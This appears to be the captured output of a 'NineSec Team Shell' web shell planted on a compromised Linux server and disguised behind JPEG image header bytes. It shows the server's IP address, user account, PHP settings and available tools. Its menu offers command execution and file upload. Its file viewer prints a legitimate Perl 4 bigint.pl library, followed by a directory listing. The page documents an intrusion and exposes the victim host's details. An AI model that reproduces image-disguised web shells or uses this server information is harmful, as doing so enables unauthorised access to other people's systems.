�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/ldap/../systemd/../python2.7/../python3/../../usr/share/perl5/Algorithm/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/ldap/../systemd/../python2.7/../python3/../../usr/share/perl5/Algorithm/../bigint.pl
package bigint;
#
# This library is no longer being maintained, and is included for backward
# compatibility with Perl 4 programs which may require it.
#
# In particular, this should not be used as an example of modern Perl
# programming techniques.
#
# Suggested alternative:  Math::BigInt
#
# arbitrary size integer math package
#
# by Mark Biggar
#
# Canonical Big integer value are strings of the form
#       /^[+-]\d+$/ with leading zeros suppressed
# Input values to these routines may be strings of the form
#       /^\s*[+-]?[\d\s]+$/.
# Examples:
#   '+0'                            canonical zero value
#   '   -123 123 123'               canonical value '-123123123'
#   '1 23 456 7890'                 canonical value '+1234567890'
# Output values always in canonical form
#
# Actual math is done in an internal format consisting of an array
#   whose first element is the sign (/^[+-]$/) and whose remaining 
#   elements are base 100000 digits with the least significant digit first.
# The string 'NaN' is used to represent the result when input arguments 
#   are not numbers, as well as the result of dividing by zero
#
# routines provided are:
#
#   bneg(BINT) return BINT              negation
#   babs(BINT) return BINT              absolute value
#   bcmp(BINT,BINT) return CODE         compare numbers (undef,<0,=0,>0)
#   badd(BINT,BINT) return BINT         addition
#   bsub(BINT,BINT) return BINT         subtraction
#   bmul(BINT,BINT) return BINT         multiplication
#   bdiv(BINT,BINT) return (BINT,BINT)  division (quo,rem) just quo if scalar
#   bmod(BINT,BINT) return BINT         modulus
#   bgcd(BINT,BINT) return BINT         greatest common divisor
#   bnorm(BINT) return BINT             normalization
#

# overcome a floating point problem on certain osnames (posix-bc, os390)
BEGIN {
    my $x = 100000.0;
    my $use_mult = int($x*1e-5)*1e5 == $x ? 1 : 0;
}

$zero = 0;


# normalize string form of number.   Strip leading zeros.  Strip any
#   white space and add a sign, if missing.
# Strings that are not numbers result the value 'NaN'.

sub main'bnorm { #(num_str) return num_str
    local($_) = @_;
    s/\s+//g;                           # strip white space
    if (s/^([+-]?)0*(\d+)$/$1$2/) {     # test if number
	substr($_,0,0) = '+' unless $1; # Add missing sign
	s/^-0/+0/;
	$_;
    } else {
	'NaN';
    }
}

# Convert a number from string format to internal base 100000 format.
#   Assumes normalized value as input.
sub internal { #(num_str) return int_num_array
    local($d) = @_;
    ($is,$il) = (substr($d,0,1),length($d)-2);
    substr($d,0,1) = '';
    ($is, reverse(unpack("a" . ($il%5+1) . ("a5" x ($il/5)), $d)));
}

# Convert a number from internal base 100000 format to string format.
#   This routine scribbles all over input array.
sub external { #(int_num_array) return num_str
    $es = shift;
    grep($_ > 9999 || ($_ = substr('0000'.$_,-5)), @_);   # zero pad
    &'bnorm(join('', $es, reverse(@_)));    # reverse concat and normalize
}

# Negate input value.
sub main'bneg { #(num_str) return num_str
    local($_) = &'bnorm(@_);
    vec($_,0,8) ^= ord('+') ^ ord('-') unless $_ eq '+0';
    s/^./N/ unless /^[-+]/; # works both in ASCII and EBCDIC
    $_;
}

# Returns the absolute value of the input.
sub main'babs { #(num_str) return num_str
    &abs(&'bnorm(@_));
}

sub abs { # post-normalized abs for internal use
    local($_) = @_;
    s/^-/+/;
    $_;
}

# Compares 2 values.  Returns one of undef, <0, =0, >0. (suitable for sort)
sub main'bcmp { #(num_str, num_str) return cond_code
    local($x,$y) = (&'bnorm($_[0]),&'bnorm($_[1]));
    if ($x eq 'NaN') {
	undef;
    } elsif ($y eq 'NaN') {
	undef;
    } else {
	&cmp($x,$y);
    }
}

sub cmp { # post-normalized compare for internal use
    local($cx, $cy) = @_;
    return 0 if ($cx eq $cy);

    local($sx, $sy) = (substr($cx, 0, 1), substr($cy, 0, 1));
    local($ld);

    if ($sx eq '+') {
      return  1 if ($sy eq '-' || $cy eq '+0');
      $ld = length($cx) - length($cy);
      return $ld if ($ld);
      return $cx cmp $cy;
    } else { # $sx eq '-'
      return -1 if ($sy eq '+');
      $ld = length($cy) - length($cx);
      return $ld if ($ld);
      return $cy cmp $cx;
    }

}

sub main'badd { #(num_str, num_str) return num_str
    local(*x, *y); ($x, $y) = (&'bnorm($_[0]),&'bnorm($_[1]));
    if ($x eq 'NaN') {
	'NaN';
    } elsif ($y eq 'NaN') {
	'NaN';
    } else {
	@x = &internal($x);             # convert to internal form
	@y = &internal($y);
	local($sx, $sy) = (shift @x, shift @y); # get signs
	if ($sx eq $sy) {
	    &external($sx, &add(*x, *y)); # if same sign add
	} else {
	    ($x, $y) = (&abs($x),&abs($y)); # make abs
	    if (&cmp($y,$x) > 0) {
		&external($sy, &sub(*y, *x));
	    } else {
		&external($sx, &sub(*x, *y));
	    }
	}
    }
}

sub main'bsub { #(num_str, num_str) return num_str
    &'badd($_[0],&'bneg($_[1]));    
}

# GCD -- Euclids algorithm Knuth Vol 2 pg 296
sub main'bgcd { #(num_str, num_str) return num_str
    local($x,$y) = (&'bnorm($_[0]),&'bnorm($_[1]));
    if ($x eq 'NaN' || $y eq 'NaN') {
	'NaN';
    } else {
	($x, $y) = ($y,&'bmod($x,$y)) while $y ne '+0';
	$x;
    }
}

# routine to add two base 1e5 numbers
#   stolen from Knuth Vol 2 Algorithm A pg 231
#   there are separate routines to add and sub as per Kunth pg 233
sub add { #(int_num_array, int_num_array) return int_num_array
    local(*x, *y) = @_;
    $car = 0;
    for $x (@x) {
	last unless @y || $car;
	$x -= 1e5 if $car = (($x += shift(@y) + $car) >= 1e5) ? 1 : 0;
    }
    for $y (@y) {
	last unless $car;
	$y -= 1e5 if $car = (($y += $car) >= 1e5) ? 1 : 0;
    }
    (@x, @y, $car);
}

# subtract base 1e5 numbers -- stolen from Knuth Vol 2 pg 232, $x > $y
sub sub { #(int_num_array, int_num_array) return int_num_array
    local(*sx, *sy) = @_;
    $bar = 0;
    for $sx (@sx) {
	last unless @y || $bar;
	$sx += 1e5 if $bar = (($sx -= shift(@sy) + $bar) < 0);
    }
    @sx;
}

# multiply two numbers -- stolen from Knuth Vol 2 pg 233
sub main'bmul { #(num_str, num_str) return num_str
    local(*x, *y); ($x, $y) = (&'bnorm($_[0]), &'bnorm($_[1]));
    if ($x eq 'NaN') {
	'NaN';
    } elsif ($y eq 'NaN') {
	'NaN';
    } else {
	@x = &internal($x);
	@y = &internal($y);
	local($signr) = (shift @x ne shift @y) ? '-' : '+';
	@prod = ();
	for $x (@x) {
	    ($car, $cty) = (0, 0);
	    for $y (@y) {
		$prod = $x * $y + $prod[$cty] + $car;
                if ($use_mult) {
		    $prod[$cty++] =
		        $prod - ($car = int($prod * 1e-5)) * 1e5;
                }
                else {
		    $prod[$cty++] =
		        $prod - ($car = int($prod / 1e5)) * 1e5;
                }
	    }
	    $prod[$cty] += $car if $car;
	    $x = shift @prod;
	}
	&external($signr, @x, @prod);
    }
}

# modulus
sub main'bmod { #(num_str, num_str) return num_str
    (&'bdiv(@_))[1];
}

sub main'bdiv { #(dividend: num_str, divisor: num_str) return num_str
    local (*x, *y); ($x, $y) = (&'bnorm($_[0]), &'bnorm($_[1]));
    return wantarray ? ('NaN','NaN') : 'NaN'
	if ($x eq 'NaN' || $y eq 'NaN' || $y eq '+0');
    return wantarray ? ('+0',$x) : '+0' if (&cmp(&abs($x),&abs($y)) < 0);
    @x = &internal($x); @y = &internal($y);
    $srem = $y[0];
    $sr = (shift @x ne shift @y) ? '-' : '+';
    $car = $bar = $prd = 0;
    if (($dd = int(1e5/($y[$#y]+1))) != 1) {
	for $x (@x) {
	    $x = $x * $dd + $car;
            if ($use_mult) {
	    $x -= ($car = int($x * 1e-5)) * 1e5;
            }
            else {
	    $x -= ($car = int($x / 1e5)) * 1e5;
            }
	}
	push(@x, $car); $car = 0;
	for $y (@y) {
	    $y = $y * $dd + $car;
            if ($use_mult) {
	    $y -= ($car = int($y * 1e-5)) * 1e5;
            }
            else {
	    $y -= ($car = int($y / 1e5)) * 1e5;
            }
	}
    }
    else {
	push(@x, 0);
    }
    @q = (); ($v2,$v1) = @y[-2,-1];
    while ($#x > $#y) {
	($u2,$u1,$u0) = @x[-3..-1];
	$q = (($u0 == $v1) ? 99999 : int(($u0*1e5+$u1)/$v1));
	--$q while ($v2*$q > ($u0*1e5+$u1-$q*$v1)*1e5+$u2);
	if ($q) {
	    ($car, $bar) = (0,0);
	    for ($y = 0, $x = $#x-$#y-1; $y <= $#y; ++$y,++$x) {
		$prd = $q * $y[$y] + $car;
                if ($use_mult) {
		$prd -= ($car = int($prd * 1e-5)) * 1e5;
                }
                else {
		$prd -= ($car = int($prd / 1e5)) * 1e5;
                }
		$x[$x] += 1e5 if ($bar = (($x[$x] -= $prd + $bar) < 0));
	    }
	    if ($x[$#x] < $car + $bar) {
		$car = 0; --$q;
		for ($y = 0, $x = $#x-$#y-1; $y <= $#y; ++$y,++$x) {
		    $x[$x] -= 1e5
			if ($car = (($x[$x] += $y[$y] + $car) > 1e5));
		}
	    }   
	}
	pop(@x); unshift(@q, $q);
    }
    if (wantarray) {
	@d = ();
	if ($dd != 1) {
	    $car = 0;
	    for $x (reverse @x) {
		$prd = $car * 1e5 + $x;
		$car = $prd - ($tmp = int($prd / $dd)) * $dd;
		unshift(@d, $tmp);
	    }
	}
	else {
	    @d = @x;
	}
	(&external($sr, @q), &external($srem, @d, $zero));
    } else {
	&external($sr, @q);
    }
}
1;

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
April 08 2025 12:08:09
root
0755
Algorithm
--
April 08 2022 2:43:05
root
0755
Authen
--
March 29 2022 10:48:11
root
0755
B
--
March 29 2022 10:50:48
root
0755
Bytes
--
March 29 2022 10:40:29
root
0755
CGI
--
March 29 2022 10:40:33
root
0755
Class
--
October 23 2023 6:29:36
root
0755
Config
--
March 29 2022 10:49:15
root
0755
Crypt
--
March 29 2022 10:40:28
root
0755
Data
--
March 29 2022 10:50:50
root
0755
Date
--
March 29 2022 10:40:39
root
0755
DateTime
--
October 23 2023 6:31:03
root
0755
Debconf
--
April 25 2020 3:52:45
root
0755
Debian
--
April 04 2022 10:16:16
root
0755
Devel
--
March 29 2022 10:50:51
root
0755
Digest
--
March 29 2022 10:48:17
root
0755
Dist
--
March 29 2022 10:50:51
root
0755
Dpkg
--
May 27 2022 8:37:26
root
0755
DynaLoader
--
March 29 2022 10:48:08
root
0755
Email
--
March 29 2022 10:50:51
root
0755
Encode
--
March 29 2022 10:40:37
root
0755
Error
--
March 29 2022 10:48:11
root
0755
Eval
--
March 29 2022 10:50:52
root
0755
Exception
--
March 29 2022 10:50:52
root
0755
Exporter
--
March 29 2022 10:48:11
root
0755
File
--
October 23 2023 6:29:36
root
0755
Font
--
March 29 2022 10:40:40
root
0755
Git
--
October 23 2023 6:29:05
root
0755
HTML
--
March 29 2022 10:40:43
root
0755
HTTP
--
July 15 2022 8:34:56
root
0755
IO
--
April 12 2022 9:17:40
root
0755
IPC
--
April 12 2022 9:17:40
root
0755
Import
--
March 29 2022 10:48:09
root
0755
JSON
--
March 29 2022 10:48:19
root
0755
LWP
--
March 29 2022 10:40:47
root
0755
Log
--
March 29 2022 10:50:56
root
0755
MIME
--
March 29 2022 10:50:57
root
0755
MRO
--
March 29 2022 10:50:54
root
0755
Mail
--
October 23 2023 6:31:02
root
0755
Math
--
March 29 2022 10:40:28
root
0755
Method
--
March 29 2022 10:48:10
root
0755
Module
--
March 29 2022 10:50:48
root
0755
MojoX
--
March 29 2022 10:50:57
root
0755
Moo
--
March 29 2022 10:48:10
root
0755
Net
--
March 29 2022 10:48:24
root
0755
Package
--
March 29 2022 10:50:52
root
0755
Params
--
March 29 2022 10:50:53
root
0755
Parse
--
March 29 2022 10:48:25
root
0755
Perl4
--
March 29 2022 10:48:25
root
0755
Ref
--
March 29 2022 10:48:26
root
0755
Reply
--
March 29 2022 10:48:11
root
0755
Role
--
March 29 2022 10:48:10
root
0755
Specio
--
March 29 2022 10:50:55
root
0755
Sub
--
March 29 2022 10:50:52
root
0755
Sys
--
March 29 2022 10:48:31
root
0755
Term
--
March 29 2022 10:50:57
root
0755
Test
--
March 29 2022 10:50:55
root
0755
Text
--
April 25 2020 3:52:58
root
0755
Time
--
March 29 2022 10:40:39
root
0755
Try
--
March 29 2022 10:40:47
root
0755
Type
--
March 29 2022 10:48:11
root
0755
Types
--
March 29 2022 10:48:19
root
0755
URI
--
March 29 2022 10:40:32
root
0755
Virtualmin
--
March 29 2022 10:50:58
root
0755
WWW
--
March 29 2022 10:40:47
root
0755
auto
--
October 23 2023 6:29:36
root
0755
libwww
--
March 29 2022 10:40:47
root
0755
namespace
--
March 29 2022 10:50:53
root
0755
strictures
--
March 29 2022 10:48:10
root
0755
CGI.pm
122.29 KB
February 03 2020 3:46:42
root
0644
CGI.pod
65.655 KB
January 13 2020 7:59:32
root
0644
Dpkg.pm
5.842 KB
May 25 2022 1:14:20
root
0644
Error.pm
29.445 KB
January 31 2020 5:15:31
root
0644
Fh.pm
0.162 KB
February 03 2020 3:46:09
root
0644
Git.pm
45.788 KB
April 26 2023 2:52:23
root
0644
JSON.pm
61.08 KB
February 23 2019 3:23:12
root
0644
LWP.pm
21.168 KB
November 26 2019 2:54:46
root
0644
MailTools.pm
0.447 KB
May 21 2019 4:26:37
root
0644
MailTools.pod
2.239 KB
May 21 2019 4:26:37
root
0644
Moo.pm
32.804 KB
October 25 2019 1:20:32
root
0644
Readonly.pm
27.581 KB
June 10 2016 7:03:44
root
0644
Specio.pm
14.833 KB
November 29 2019 4:41:18
root
0644
TimeDate.pm
0.261 KB
January 16 2020 11:42:35
root
0644
URI.pm
33.949 KB
January 09 2019 5:59:57
root
0644
abbrev.pl
0.8 KB
January 03 2020 5:09:21
root
0644
assert.pl
1.266 KB
January 03 2020 5:09:21
root
0644
bigfloat.pl
7.144 KB
January 03 2020 5:09:21
root
0644
bigint.pl
8.71 KB
January 03 2020 5:09:21
root
0644
bigrat.pl
4.346 KB
January 03 2020 5:09:21
root
0644
cacheout.pl
1.096 KB
January 03 2020 5:09:21
root
0644
chat2.pl
9.73 KB
January 03 2020 5:09:21
root
0644
complete.pl
3.116 KB
January 03 2020 5:09:21
root
0644
ctime.pl
1.928 KB
January 03 2020 5:09:21
root
0644
dotsh.pl
2.124 KB
January 03 2020 5:09:21
root
0644
exceptions.pl
1.695 KB
January 03 2020 5:09:21
root
0644
fastcwd.pl
0.995 KB
January 03 2020 5:09:21
root
0644
find.pl
1.157 KB
January 03 2020 5:09:21
root
0644
finddepth.pl
1.104 KB
January 03 2020 5:09:21
root
0644
flush.pl
0.627 KB
January 03 2020 5:09:21
root
0644
ftp.pl
23.53 KB
January 03 2020 5:09:21
root
0644
getcwd.pl
1.37 KB
January 03 2020 5:09:21
root
0644
getopt.pl
1.271 KB
January 03 2020 5:09:21
root
0644
getopts.pl
1.354 KB
January 03 2020 5:09:21
root
0644
hostname.pl
0.71 KB
January 03 2020 5:09:21
root
0644
importenv.pl
0.276 KB
January 03 2020 5:09:21
root
0644
look.pl
1.226 KB
January 03 2020 5:09:21
root
0644
newgetopt.pl
2.161 KB
January 03 2020 5:09:21
root
0644
oo.pm
1.189 KB
September 06 2019 3:03:59
root
0644
open2.pl
0.181 KB
January 03 2020 5:09:21
root
0644
open3.pl
0.181 KB
January 03 2020 5:09:21
root
0644
pwd.pl
1.443 KB
January 03 2020 5:09:21
root
0644
shellwords.pl
0.273 KB
January 03 2020 5:09:21
root
0644
spamassassin-run.pod
12.271 KB
March 24 2023 5:36:49
root
0644
stat.pl
0.513 KB
January 03 2020 5:09:21
root
0644
strictures.pm
14.439 KB
March 10 2019 11:07:43
root
0644
syslog.pl
4.693 KB
January 03 2020 5:09:21
root
0644
tainted.pl
0.16 KB
January 03 2020 5:09:21
root
0644
termcap.pl
4.016 KB
January 03 2020 5:09:21
root
0644
timelocal.pl
0.674 KB
January 03 2020 5:09:21
root
0644
validate.pl
3.644 KB
January 03 2020 5:09:21
root
0644

NineSec Team - 2022